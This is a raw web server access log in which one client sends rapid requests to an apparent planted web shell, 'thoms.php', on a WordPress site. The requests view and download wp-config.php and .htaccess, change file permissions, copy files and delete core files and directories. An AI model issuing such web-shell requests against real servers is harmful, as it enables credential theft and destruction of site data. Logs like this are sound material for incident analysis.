45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19210 "https://163.245.207.76/thoms.php?del=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12589 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?del=wp-mail.php&p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p= HTTP/1.1" 200 12014 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?dl=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p= HTTP/1.1" 200 12007 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?dl=.htaccess&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?dl=wp-activate.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?del=.well-known&p=betcity.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?del=wp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?del=locoy.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28726 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?dl=locoy.php&p=betcity.com.tw HTTP/1.1" 200 17340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=wp-cron.php&p=betcity.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=schema-shared&p=betcity.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?del=readme.html&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?del=wp-admin&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?del=wp-cron.php&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?del=wp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=.well-known&p=betcity.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?dl=xmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=wp-login.php&p=betcity.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /betcity.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p= HTTP/1.1" 200 11990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=wp-includes&p=betcity.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?chmod=.htaccess&p=betcity.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?p=betcity.com.tw&view=error_log HTTP/1.1" 200 14688 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12051 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 15320 "https://163.245.207.76/betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:04 -0400] "GET /thoms.php?dl=license.txt&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=readme.html HTTP/1.1" 200 15235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=thoms.php&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?dl=wp-load.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12034 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=wp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=wp-config.php&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=.htaccess HTTP/1.1" 200 12733 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=locoy.php HTTP/1.1" 200 12950 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=mah.php HTTP/1.1" 200 11802 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?dl=wp-cron.php&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?chmod=license.txt&p=betcity.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=index.php&p=betcity.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?dl=thoms.php&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-config.php HTTP/1.1" 200 13708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-login.php HTTP/1.1" 200 29023 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=wp-settings.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=index.php HTTP/1.1" 200 12055 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?chmod=wp-signup.php&p=betcity.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?dl=wp-signup.php&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=xmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=deprecated-complete&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11992 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-activate.php HTTP/1.1" 200 14811 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?dl=wp-login.php&p=betcity.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?del=wp-includes&p=betcity.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:05 -0400] "GET /thoms.php?chmod=thoms.php&p=betcity.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13275 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?del=wp-content&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?chmod=index.php&p=betcity.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-trackback.php HTTP/1.1" 200 14086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?del=wp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p= HTTP/1.1" 200 11989 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?chmod=error_log&p=betcity.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13959 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?del=wp-signup.php&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?dl=error_log&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?del=wp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw&upload= HTTP/1.1" 200 12148 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?chmod=locoy.php&p=betcity.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-signup.php HTTP/1.1" 200 22504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
